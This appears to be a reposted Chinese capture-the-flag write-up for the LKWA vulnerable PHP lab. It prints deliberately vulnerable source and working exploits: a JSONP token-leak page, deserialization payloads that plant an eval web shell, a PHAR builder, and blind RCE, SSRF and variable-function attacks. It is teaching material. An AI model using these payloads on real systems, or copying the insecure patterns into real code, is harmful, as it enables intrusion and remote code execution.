LKWA靶场通关和源码分析

news2024/11/28 8:29:38

文章目录

  • 一、Blind RCE?
  • 二、XSSI
  • 三、PHP Object Injection
  • 四、PHP Object Injection(cookie)
  • 五、PHP Object Injection(Referer)
  • 六、PHAR
  • 七、SSRF
  • 八、Variables
  • 总结


一、Blind RCE?

源码:

<?php
include("sidebar.php");
/**
 * Blind RCE
 */
class Rce {
    private $user_input;
    private $level;
    function __construct() {
        $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
        $this->level = isset($_POST['level']) ? $_POST['level'] : null;
    }

    function start() {
        if (empty($this->user_input)) {

        }

        else{
                        exec($this->user_input);
        }

    }
}

$rce = new Rce();
if(!empty($_POST))
{
    $rce->start();
}

通过exec()直接传入post的数据,进行命令执行,但是无回显,一般有几种方式,curl外带,dnglog外带,反弹shell等等,这里靶机没有curl,所有curl没法用,当然,可以通过命令执行先下载,再进行curl。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二、XSSI

源码:

session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?>


<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
    <script src="../jquery/jquery.min.js"></script>
    <script>
         function get(){
                $.ajax(
                {
                 url:"../api/user",
                 type:"GET",
                 async:true,
                 success:function(parse){
                  for (var i in parse){

                      $("#" + i).text(parse[i]);

                  }
                 }
                }
                );
         }
         get();
       </script>
  </head>
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){
  $myObj = new \stdClass();
  $myObj->name = "admin";
  $myObj->token=time()+2*24*60*60;
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }


}
else {
  $myObj = new \stdClass();
  $myObj->name = "";
  $myObj->token="";
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }
}
?>

使用admin,password登录会设置session,传到xssi.php,xssi.php中的$file指的就是api/user.php,而user.php中会用time()函数生成token,然后通过传入的callback参数输出data数据,因此可以调用/api/user触发。

<html>
  <head>
    <title>XSS</title>    
  </head>
<body>
   <script>
	function leak(leaked)
{
	alert(JSON.stringify(leaked));
};
    </script>
    <script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>

在这里插入图片描述

三、PHP Object Injection

源码:

<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename . ".txt";
        $this->data = $data;
    }
    function __destruct(){
        file_put_contents($this->filename, $this->data);
    }
}
?>

接收object参数,然后会反序列化object,所以可以触发destruct写入shell。

<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename;
        $this->data = $data;
    }
}

$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));

在这里插入图片描述

四、PHP Object Injection(cookie)

源码:

<?php
include("sidebar.php");
include("obj_injection.php");

if (isset($_POST['username']) && isset($_POST['password'])) {
  $username = $_POST['username'];
  $password = $_POST['password'];
  $object = new stdClass();
  $object->user = $username;
  $data = serialize($object);
  if($username === "admin" && $password === "password")
        setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}

?>
<!DOCTYPE html>
<html>
<head>
        <title>Test</title>
</head>
<body>
        <div class="container-fluid">
          <div class="row">
            <div class="col-lg-12 mb-12">
              <!-- Approach -->
              <div class="card shadow mb-4">
                <div class="card-header py-3">
                  <h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6>
                </div>
                <div class="card-body">
<form action="content.php" method="POST">
  <div class="form-group">
    <label for="exampleInputEmail1">Username</label>
    <input type="text" class="form-control" placeholder="Enter username" name="username">
  </div>
  <div class="form-group">
    <label for="exampleInputPassword1">Password</label>
    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password">
  </div>
  <button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{

  $var = unserialize($_COOKIE['username']);
  echo "<br> Welcome ".$var->user;
}

?>
                </div>
              </div>

            </div>
          </div>
          <?php include("description.php"); ?>
        </div>


</body>
</html>
class Foo{
        public $cmd;
    function __construct() {
    }
    function __destruct(){
        eval($this->cmd);
    }
}

?>

使用序列化的方式生成cookie,然后对cookie中的username进行反序列化输出,Foo类可以进行命令执行,可以通过传入username,触发eval()。

在这里插入图片描述
在这里插入图片描述

五、PHP Object Injection(Referer)

源码:

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6>
              </div>
              <div class="card-body">
              <form action="objectref.php" method="post">
                <div class="form-group">
                  <label for="exampleInputEmail1">Guess</label>
                  <input type="text" class="form-control" placeholder="Enter number" name="guess">
                  <input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'>
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
                <p class="text-danger"> Can you win this?.</p>
                  <?php
                  // vuln code
                  if (isset($_POST['guess'])) {
                    // code...
                    $obj = unserialize($_POST['input']);
                    if($obj) {
                        $obj->guess = $_POST['guess'];
                        $obj->secretCode = rand(500000,999999);
                        if($obj->guess === $obj->secretCode) {
                            echo "<p class='text-success'>You Win !!!!!</p>";
                        }
                        else{
                                echo "<p class='text-danger'>Loser!!!!</p>";
                        }
                    }
                  }
                  ?>
                <p>


              </form>
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
  </body>
</html>

要我们猜的数字和随机数相等,在不知道种子和前一次结果是几乎不可能做到的,但是可以控制input,使其相等。

<?php
class A{
    var $guess;
    var $secretCode;

}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);

在这里插入图片描述

六、PHAR

源码:

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    if($imageFileType !== "PHAR") {
        $uploadOk = 1;
    } else {
        echo "File is not a PHAR file.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "phar") {
    echo "Sorry, only PHAR file is allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
<?php
/**
 * 
 */
include("sidebar.php");

class log
{
        public $filename="log.txt";
        public $data="log";
    function __wakeup(){
        file_put_contents($this->filename, $this->data);
    }
}

if (file_exists($_GET['file'])) {
 $var = new log();
}


?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
<div class="container-fluid">
        <div class="row">
                <div class="col-lg-12 mb-12">
                        <!-- Approach -->
                        <div class="card shadow mb-4">
                                <div class="card-header py-3">
                                        <h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6>
                                </div>
                                <div class="card-body">
                                        <form action="upload.php" method="post" enctype="multipart/form-data">
                                                Select PHAR file to upload:<br><br>
                                                <input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary">
                                                <input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary">
                                        </form>

                                </div>
                        </div>

                </div>
        </div>
        <?php include("description.php"); ?>
</div>
</body>

只能传phar,明显使用phar伪协议触发log类的file_put_contents方法进行shell。

<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";

$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在这里插入图片描述
在这里插入图片描述

七、SSRF

源码:

<?php
include("sidebar.php");
if (isset($_GET['image'])) {
        # code...
        echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="d-sm-flex align-items-center justify-content-between mb-4">
          <h1 class="h3 mb-0 text-gray-800"></h1>
        </div>

        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">SSRF</h6>
              </div>
              <div class="card-body">
              <form action="index.php" method="GET">
                <div class="form-group">
                  <label for="exampleInputEmail1">Image URL</label>
                  <input type="text" class="form-control" placeholder="Enter url" name="image">
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
              </form>
              <img src="<?php echo $_GET['image']; ?>">
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
</body>
</html>

在这里插入图片描述

八、Variables

源码:

<?php 
include("sidebar.php");

?>
<!DOCTYPE html>
<html>
<head>
    <title>Variables variable</title>
</head>
<body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Variables variable</h6>
              </div>
              <div class="card-body">
                <!-- vuln form -->
                    <form action="variable.php" method="GET">
                      <div class="form-group">
                        <label for="exampleInputPassword1">String to dump</label>
                        <input type="hidden" name="func" value="var_dump">
                        <input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string">
                      </div>
                      <button type="submit" class="btn btn-primary">Submit</button>
                    </form>   
                    <br>
                    <p class="text-danger">Output:</p>
                    <p id="output">
                        <?php 
                                                        if (isset($_GET['func']) && isset($_GET['input'])) {
                                                                $var = $_GET['func'];
                                                                ${"var"}($_GET['input']);
                                                        }
                        ?>

                    </p>                
              </div>
            </div>

          </div>

        </div>


          <?php include("description.php"); ?>
    </div>

</body>
</html>

直接拼接了两个参数,那么就可以直接进行命令执行,但是要回显,因此可以使用passthru,当然这里也可以直接反弹shell,方式很多。

在这里插入图片描述
在这里插入图片描述

总结

简单、基础、好玩!
靶场地址:lkwa的某docker镜像地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/335743.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【程序化天空盒】过程记录01:日月 天空渐变 大气散射

1 日月 SunAndMoon 昼夜的话肯定少不了太阳和月亮&#xff0c;太阳和月亮实现的道理是一样的&#xff0c;只不过是月亮比太阳多了一个需要控制月牙程度&#xff08;or添加贴图&#xff09;的细节~ 1.1 Sun 太阳的话很简单&#xff0c;直接在shader里实现一个太阳跟随平行光旋…

Ubuntu18.04中安装Pycharm2023

下载安装包访问 Jetbrains官方网站 下载 Linux的安装包点击 Download 后下载文件名为 pycharm-community-2022.3.2.tar.gz解压安装启动终端&#xff0c;cd Downloads 进入Downloads目录&#xff08;默认下载路径&#xff09;解压压缩包 tar -xzvf pycharm-community-2020.2.2.t…

【Nacos】Nacos配置中心客户端启动源码分析

SpringCloud项目启动过程中会解析bootstrop.properties、bootstrap.yaml配置文件&#xff0c;启动父容器&#xff0c;在子容器启动过程中会加入PropertySourceBootstrapConfiguration来读取配置中心的配置。 PropertySourceBootstrapConfiguration#initialize PropertySource…

实现复选框全选和全不选的切换

今天&#xff0c;复看了一下JS的菜鸟教程&#xff0c;发现评论里面都是精华呀&#xff01;&#xff01; 看到函数这一节&#xff0c;发现就复选框的全选和全不选功能展开了讨论。我感觉挺有意思的&#xff0c;尝试实现了一下。 1. 全选、全不选&#xff0c;两个按钮&#xff…

CentOS8联网部署Ceph-Quincy集群

文章目录1.环境准备1.1 关闭selinux1.2 关闭防火墙1.3 配置免密1.4 设置yum源1.5 安装依赖1.6 设置时间同步1.7 安装docker2.安装Ceph2.1 安装cephadm2.2 部署ceph集群2.3 集群添加节点2.4 部署MON2.5 部署OSD2.6 部署MGR2.7 集群状态3.问题3.1 failed to retrieve runc versio…

腾讯云对象存储+企业网盘 打通数据链“最后一公里

对云厂商和企业用户来说&#xff0c;随着数据规模的快速增长&#xff0c;企业除了对存储功能和性能的要求不断增加&#xff0c;也越来越注重数据分发的效率。在传统数据分发的过程中&#xff0c;数据管理员往往需要先在存储桶下载对应的客户方案/交付资料&#xff0c;再使用微信…

【前言】嵌入式系统简介

随手拍拍&#x1f481;‍♂️&#x1f4f7; 日期: 2022.12.01 地点: 杭州 介绍: 2022.11.30下午两点时&#xff0c;杭州下了一场特别大的雪。隔天的12月路过食堂时&#xff0c;边上的井盖上发现了这个小雪人。此时边上的雪已经融化殆尽&#xff0c;只有这个雪人依旧维持着原状⛄…

【FLASH存储器系列十九】固态硬盘掉电后如何恢复掉电前状态?

掉电分两种&#xff0c;一种是正常掉电&#xff0c;另一种是异常掉电。不管是哪种原因导致的掉电&#xff0c;我们都希望&#xff0c;重新上电后&#xff0c;SSD都需要能从掉电中恢复过来&#xff0c;继续正常工作。正常掉电恢复&#xff0c;这个好理解&#xff0c;主机通知SSD…

Linux(centOS7)虚拟机中配置 vim

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是小童&#xff0c;Java开发工程师&#xff0c;CSDN博客博主&#xff0c;Java领域新星创作者 &#x1f4d5;系列专栏&#xff1a;前端、Java、Java中间件大全、微信小程序、微信支付、若依框架、Spring全家桶 &#x1f4…

数据库实践LAB大纲 05 JDBC 连接

概述 Java DataBase Connectivity&#xff0c;Java 数据库连接 执行SQL的Java API 为多种关系型数据提供统一访问 FUNCTION 建立与数据库的连接向数据库发送 SQL 语句处理从数据库返回的结果 四种常见JDBC驱动程序 JDBC-ODBC Bridge drivernative-API, partly Java driver…

LeetCode题目笔记——1.两数之和

文章目录题目描述题目难度——简单方法一&#xff1a;暴力代码/Python方法二&#xff1a;哈希表代码/Python代码/C总结题目描述 这道题可以说是力扣的入坑题了&#xff0c;很经典&#xff0c;好像还是面试的经典题。 给定一个整数数组 nums 和一个整数目标值 target&#xff0c…

Zookeeper技术认知

目录概念理解工作原理文件系统通知系统zookeeper在kakfa中的作用概念理解 Zookeeper是一个开源的分布式的&#xff0c;为分布式框架提供协调服务的Apache项目。 工作原理 Zookeeper 作为一个分布式的服务框架&#xff0c;主要用来解决分布式集群中应用系统的一致性问题&…

Android IO 框架 Okio 的实现原理,到底哪里 OK?

本文已收录到 AndroidFamily&#xff0c;技术和职场问题&#xff0c;请关注公众号 [彭旭锐] 提问。 前言 大家好&#xff0c;我是小彭。 今天&#xff0c;我们来讨论一个 Square 开源的 I/O 框架 Okio&#xff0c;我们最开始接触到 Okio 框架还是源于 Square 家的 OkHttp 网络…

C4--Vivado添加列表中不存在的FLash器件2023-02-10

以华邦SPI FLASH W25Q128JVEIQ为例进行说明。&#xff08;其他Flash添加步骤一致&#xff09; 1.本地vivado安装目录D:\Softwares\xlinx_tools\Vivado\2020.2\data\xicom下&#xff0c;找到xicom_cfgmem_part_table.csv文件&#xff0c;这个表与vivado hardware manager中的器…

pixhawk2.4.8-APM固件-MP地面站配置过程记录

目录一、硬件准备二、APM固件、MP地面站下载三、地面站配置1 刷固件2 机架选择3 加速度计校准4 指南针校准5 遥控器校准6 飞行模式7 紧急断电&无头模式8 基础参数设置9 电流计校准10 电调校准11 起飞前检查&#xff08;每一项都非常重要&#xff09;12 飞行经验四、遇到的问…

同步线程

↵ 由于这节内容资料比较少&#xff0c;所以以下内容总结自Qt官方文献&#xff0c;在文章最后会给出相应链接。 线程的目的是允许并行运行&#xff0c;但有时线程必须停止等待其他线程。例如&#xff0c;如果两个线程尝试访问同一个变量&#xff0c;这样的话结果是未定义的。强…

【0基础学爬虫】爬虫基础之爬虫的基本介绍

大数据时代&#xff0c;各行各业对数据采集的需求日益增多&#xff0c;网络爬虫的运用也更为广泛&#xff0c;越来越多的人开始学习网络爬虫这项技术&#xff0c;K哥爬虫此前已经推出不少爬虫进阶、逆向相关文章&#xff0c;为实现从易到难全方位覆盖&#xff0c;特设【0基础学…

Jmeter in Linux - 在Linux系统使用Jmeter的坑

Jmeter in Linux - 在Linux系统使用Jmeter的坑Jmeter in Linux系列目录&#xff1a;o.a.j.JMeter: Error in NonGUIDriver起因错误分析&#xff1a;解决方案&#xff1a;解析日志没有展示请求和响应信息起因解决方案&#xff1a;注意Jmeter in Linux系列目录&#xff1a; 【如…

ChatGPT 爆火!谷歌、微软、百度纷纷下场?

近日&#xff0c;智能聊天机器人ChatGPT的爆火引发了国内外网友的热烈讨论&#xff0c;上线两个月后&#xff0c;用户数量达到1亿。2月8日下午&#xff0c;巨大的访问量让系统一度崩溃。 服务重新开放后&#xff0c;我向ChatGPT询问了如何快速扩容&#xff0c;它显然是知道云端…

CSS从入门到精通专栏简介

先让我们来欣赏几个精美的网站&#xff1a; Matt Brett - Freelance Web Designer and WordPress Expert ‎2022 Year in Review • Letterboxd NIO蔚来汽车官方网站 小米官网 Silk – Interactive Generative Art 大屏数据可视化 你是否也有过这样的“烦恼”&#xff1a; * …